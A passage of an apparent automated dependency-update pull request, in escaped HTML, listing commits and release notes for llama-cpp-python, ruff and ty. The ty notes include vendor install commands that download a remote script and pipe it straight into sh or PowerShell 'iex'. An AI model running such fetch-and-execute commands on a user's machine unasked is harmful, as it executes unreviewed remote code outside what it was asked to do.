href=\"https://github.com/abetlen/llama-cpp-python/commit/f7746900c0b70cd3deab2384ef2a108597eb1744\"\u003e\u003ccode\u003ef774690\u003c/code\u003e\u003c/a\u003e feat: update llama.cpp to 5d6f18a63 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2207\"\u003e#2207\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/128c331bd984a641435b9a563626e4aa06b987d2\"\u003e\u003ccode\u003e128c331\u003c/code\u003e\u003c/a\u003e fix: configure n_seq_max for batched embeddings (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2206\"\u003e#2206\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/90e8df958ba81dafc5386999b3948784d7990a12\"\u003e\u003ccode\u003e90e8df9\u003c/code\u003e\u003c/a\u003e fix(\u003cem\u003einternals): use n_tokens0 offset when enabling last-token logits in add\u003c/em\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/14d7846f9a7c043901cb98bd446764377a8def6e\"\u003e\u003ccode\u003e14d7846\u003c/code\u003e\u003c/a\u003e fix(ci): skip unsupported Windows CUDA versions (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2204\"\u003e#2204\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/bc6ff9f2cc5545c180d8c3db4128d3ad48a31575\"\u003e\u003ccode\u003ebc6ff9f\u003c/code\u003e\u003c/a\u003e fix(ci): install CUDA CCCL headers for wheel builds (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2203\"\u003e#2203\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/04a3638b2637b0b6f1b843d16a679fbf7d2dd375\"\u003e\u003ccode\u003e04a3638\u003c/code\u003e\u003c/a\u003e fix(ci): pass CUDA compiler arg for Windows detection (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2202\"\u003e#2202\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/2bfd80c1c5fadd6bd95bb57e7332438cca5521cd\"\u003e\u003ccode\u003e2bfd80c\u003c/code\u003e\u003c/a\u003e fix(ci): pass CUDA unsupported compiler flag during detection (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2201\"\u003e#2201\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.3.21...v0.3.23\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `ruff` from 0.15.12 to 0.15.13\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/astral-sh/ruff/releases\"\u003eruff's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.15.13\u003c/h2\u003e\n\u003ch2\u003eRelease Notes\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-05-14.\u003c/p\u003e\n\u003ch3\u003ePreview features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd a rule to flag lazy imports that are eagerly evaluated (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25016\"\u003e#25016\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003epylint\u003c/code\u003e] Standardize diagnostic message (\u003ccode\u003ePLR0914\u003c/code\u003e, \u003ccode\u003ePLR0917\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24996\"\u003e#24996\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eF811\u003c/code\u003e false positive for class methods (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24933\"\u003e#24933\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix setting selection for multi-folder workspace (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24819\"\u003e#24819\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003eeradicate\u003c/code\u003e] Fix false positive for lines with leading whitespace (\u003ccode\u003eERA001\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25122\"\u003e#25122\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003eflake8-pyi\u003c/code\u003e] Fix false positive for f-string debug specifier (\u003ccode\u003ePYI016\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24098\"\u003e#24098\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRule changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAlways include panic payload in panic diagnostic message (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24873\"\u003e#24873\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict \u003ccode\u003ePYI034\u003c/code\u003e for in-place operations to enclosing class (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24511\"\u003e#24511\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImprove error message for parameters that are declared \u003ccode\u003eglobal\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24902\"\u003e#24902\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate known stdlib (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25103\"\u003e#25103\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[\u003ccode\u003eisort\u003c/code\u003e] Avoid constructing \u003ccode\u003eglob::Pattern\u003c/code\u003es for literal known modules (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25123\"\u003e#25123\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCLI\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd TOML examples to \u003ccode\u003e--config\u003c/code\u003e help text (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25013\"\u003e#25013\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eColorize ruff check 'All checks passed' (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25085\"\u003e#25085\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eConfiguration\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eIncrease max allowed value of \u003ccode\u003eline-length\u003c/code\u003e setting (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24962\"\u003e#24962\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDocumentation\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003eD203\u003c/code\u003e to rules that conflict with the formatter (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25044\"\u003e#25044\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eClarify \u003ccode\u003eCOM819\u003c/code\u003e and formatter interaction (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25045\"\u003e#25045\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eClarify that \u003ccode\u003eNotImplemented\u003c/code\u003e is a value, not an exception (\u003ccode\u003eF901\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25054\"\u003e#25054\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate number of lint rules supported (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24942\"\u003e#24942\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSimplify the playground's markdown template (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24924\"\u003e#24924\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md\"\u003eruff's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.15.13\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-05-14.\u003c/p\u003e\n\u003ch3\u003ePreview features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd a rule to flag lazy imports that are eagerly evaluated (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25016\"\u003e#25016\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003epylint\u003c/code\u003e] Standardize diagnostic message (\u003ccode\u003ePLR0914\u003c/code\u003e, \u003ccode\u003ePLR0917\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24996\"\u003e#24996\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eF811\u003c/code\u003e false positive for class methods (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24933\"\u003e#24933\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix setting selection for multi-folder workspace (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24819\"\u003e#24819\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003eeradicate\u003c/code\u003e] Fix false positive for lines with leading whitespace (\u003ccode\u003eERA001\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25122\"\u003e#25122\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003eflake8-pyi\u003c/code\u003e] Fix false positive for f-string debug specifier (\u003ccode\u003ePYI016\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24098\"\u003e#24098\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRule changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAlways include panic payload in panic diagnostic message (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24873\"\u003e#24873\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict \u003ccode\u003ePYI034\u003c/code\u003e for in-place operations to enclosing class (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24511\"\u003e#24511\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImprove error message for parameters that are declared \u003ccode\u003eglobal\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24902\"\u003e#24902\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate known stdlib (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25103\"\u003e#25103\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[\u003ccode\u003eisort\u003c/code\u003e] Avoid constructing \u003ccode\u003eglob::Pattern\u003c/code\u003es for literal known modules (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25123\"\u003e#25123\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCLI\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd TOML examples to \u003ccode\u003e--config\u003c/code\u003e help text (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25013\"\u003e#25013\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eColorize ruff check 'All checks passed' (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25085\"\u003e#25085\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eConfiguration\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eIncrease max allowed value of \u003ccode\u003eline-length\u003c/code\u003e setting (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24962\"\u003e#24962\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDocumentation\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003eD203\u003c/code\u003e to rules that conflict with the formatter (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25044\"\u003e#25044\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eClarify \u003ccode\u003eCOM819\u003c/code\u003e and formatter interaction (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25045\"\u003e#25045\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eClarify that \u003ccode\u003eNotImplemented\u003c/code\u003e is a value, not an exception (\u003ccode\u003eF901\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25054\"\u003e#25054\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate number of lint rules supported (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24942\"\u003e#24942\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSimplify the playground's markdown template (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24924\"\u003e#24924\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/MichaReiser\"\u003e\u003ccode\u003e@​MichaReiser\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/2afb467ce397e4a89c13a0a814c62cfecb0e9e49\"\u003e\u003ccode\u003e2afb467\u003c/code\u003e\u003c/a\u003e Bump 0.15.13 (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25157\"\u003e#25157\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/300879600fa3af7cde1e675c63de6ad9d0797d1b\"\u003e\u003ccode\u003e3008796\u003c/code\u003e\u003c/a\u003e [ty] classify TypeVar semantic tokens as type parameters (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/24891\"\u003e#24891\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/79470e31877acb6074f3bbff2a49e508822ae4e8\"\u003e\u003ccode\u003e79470e3\u003c/code\u003e\u003c/a\u003e [\u003ccode\u003eisort\u003c/code\u003e] Avoid constructing \u003ccode\u003eglob::Pattern\u003c/code\u003es for literal known modules (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25123\"\u003e#25123\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/2522549901d50f18775999f0fb802b19229417f0\"\u003e\u003ccode\u003e2522549\u003c/code\u003e\u003c/a\u003e Remove shellcheck from prek (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25154\"\u003e#25154\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/7db7170020f539d6d2bc01dbd0b0c09fab91dc06\"\u003e\u003ccode\u003e7db7170\u003c/code\u003e\u003c/a\u003e [ty] Support TypedDict key completions in incomplete, anonymous contexts (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25\"\u003e#25\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/bb3dd535f1c5a83e2e56ac93a771fadbeeceebd0\"\u003e\u003ccode\u003ebb3dd53\u003c/code\u003e\u003c/a\u003e [ty] Run full iteration analysis on narrowed typevars (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25143\"\u003e#25143\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/828cdb7732efcb16a53f4ee5f011cf653b834d1a\"\u003e\u003ccode\u003e828cdb7\u003c/code\u003e\u003c/a\u003e [ty] Isolate file-watching test environment (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25151\"\u003e#25151\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/89e1d8670ea4d3af60c8143ee552dc750200718d\"\u003e\u003ccode\u003e89e1d86\u003c/code\u003e\u003c/a\u003e [ty] Preserve TypedDict keys through dict unpacking (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/24523\"\u003e#24523\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/86f3064d6fffa5697d174f26b840bd6857b381da\"\u003e\u003ccode\u003e86f3064\u003c/code\u003e\u003c/a\u003e [ty] Avoid accessing \u003ccode\u003eargs[0]\u003c/code\u003e for \u003ccode\u003estatic_assert\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25149\"\u003e#25149\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/ed819f947dc27e36eac8bb3134153c4668d76a3a\"\u003e\u003ccode\u003eed819f9\u003c/code\u003e\u003c/a\u003e [ty] Treat custom enum \u003ccode\u003e__new__\u003c/code\u003e values as dynamic (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25136\"\u003e#25136\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/astral-sh/ruff/compare/0.15.12...0.15.13\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `ty` from 0.0.34 to 0.0.37\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/astral-sh/ty/releases\"\u003ety's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.0.37\u003c/h2\u003e\n\u003ch2\u003eRelease Notes\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-05-16.\u003c/p\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAvoid unsound \u003ccode\u003enot in\u003c/code\u003e narrowing (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25161\"\u003e#25161\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix async iteration over narrowed typevars (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25155\"\u003e#25155\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in double-inference for single starred positional TypedDict (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25176\"\u003e#25176\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in disjoint base check (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25187\"\u003e#25187\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in recursive binary inference (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25189\"\u003e#25189\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in cyclic \u003ccode\u003e__new__\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25185\"\u003e#25185\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in \u003ccode\u003ereveal_protocol\u003c/code\u003e, \u003ccode\u003ereveal_mro\u003c/code\u003e, etc. with keyword arguments (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25179\"\u003e#25179\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in imported overload definition (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25168\"\u003e#25168\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLSP server\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDon't show argument inlay for case-insensitive matches or prefix/suffixes (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25174\"\u003e#25174\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReduce CPU usage of the LSP when switching between large changesets (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25142\"\u003e#25142\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCore type checking\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAvoid enforcing \u003ccode\u003e__new__\u003c/code\u003e with custom metaclasses (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25180\"\u003e#25180\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMake overload public type reachability-aware (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25171\"\u003e#25171\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOnly specialized types of generic class instances should influence variance (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25124\"\u003e#25124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePreserve ParamSpec argument context through wrapper calls (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24934\"\u003e#24934\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport partially specialized type context for collection literals (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24506\"\u003e#24506\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/RasmusNygren\"\u003e\u003ccode\u003e@​RasmusNygren\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/MichaReiser\"\u003e\u003ccode\u003e@​MichaReiser\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/charliermarsh\"\u003e\u003ccode\u003e@​charliermarsh\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ibraheemdev\"\u003e\u003ccode\u003e@​ibraheemdev\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eInstall ty 0.0.37\u003c/h2\u003e\n\u003ch3\u003eInstall prebuilt binaries via shell script\u003c/h3\u003e\n\u003cpre lang=\"sh\"\u003e\u003ccode\u003ecurl --proto '=https' --tlsv1.2 -LsSf https://releases.astral.sh/github/ty/releases/download/0.0.37/ty-installer.sh | sh\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003eInstall prebuilt binaries via powershell script\u003c/h3\u003e\n\u003cpre lang=\"sh\"\u003e\u003ccode\u003epowershell -ExecutionPolicy Bypass -c \u0026quot;irm https://releases.astral.sh/github/ty/releases/download/0.0.37/ty-installer.ps1 | iex\u0026quot;\n\u003c/code\u003e\u003c/pre\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/astral-sh/ty/blob/main/CHANGELOG.md\"\u003ety's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.0.37\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-05-16.\u003c/p\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAvoid unsound \u003ccode\u003enot in\u003c/code\u003e narrowing (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25161\"\u003e#25161\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix async iteration over narrowed typevars (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25155\"\u003e#25155\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in double-inference for single starred positional TypedDict (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25176\"\u003e#25176\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in disjoint base check (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25187\"\u003e#25187\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in recursive binary inference (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25189\"\u003e#25189\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in cyclic \u003ccode\u003e__new__\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25185\"\u003e#25185\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in \u003ccode\u003ereveal_protocol\u003c/code\u003e, \u003ccode\u003ereveal_mro\u003c/code\u003e, etc. with keyword arguments (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25179\"\u003e#25179\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic in imported overload definition (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25168\"\u003e#25168\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLSP server\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDon't show argument inlay for case-insensitive matches or prefix/suffixes (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25174\"\u003e#25174\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReduce CPU usage of the LSP when switching between large changesets (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25142\"\u003e#25142\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCore type checking\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAvoid enforcing \u003ccode\u003e__new__\u003c/code\u003e with custom metaclasses (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25180\"\u003e#25180\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMake overload public type reachability-aware (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25171\"\u003e#25171\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOnly specialized types of generic class instances should influence variance (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25124\"\u003e#25124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePreserve ParamSpec argument context through wrapper calls (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24934\"\u003e#24934\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport partially specialized type context for collection literals (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24506\"\u003e#24506\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/RasmusNygren\"\u003e\u003ccode\u003e@​RasmusNygren\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/MichaReiser\"\u003e\u003ccode\u003e@​MichaReiser\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/charliermarsh\"\u003e\u003ccode\u003e@​charliermarsh\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ibraheemdev\"\u003e\u003ccode\u003e@​ibraheemdev\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.0.36\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-05-14.\u003c/p\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix Go To-Definition for self-imported submodules (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25106\"\u003e#25106\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003eClassVar[Self]\u003c/code\u003e assignment checks for class objects (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24657\"\u003e#24657\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix attribute access on \u003ccode\u003eCallable\u003c/code\u003e-bounded TypeVars (\u003ca 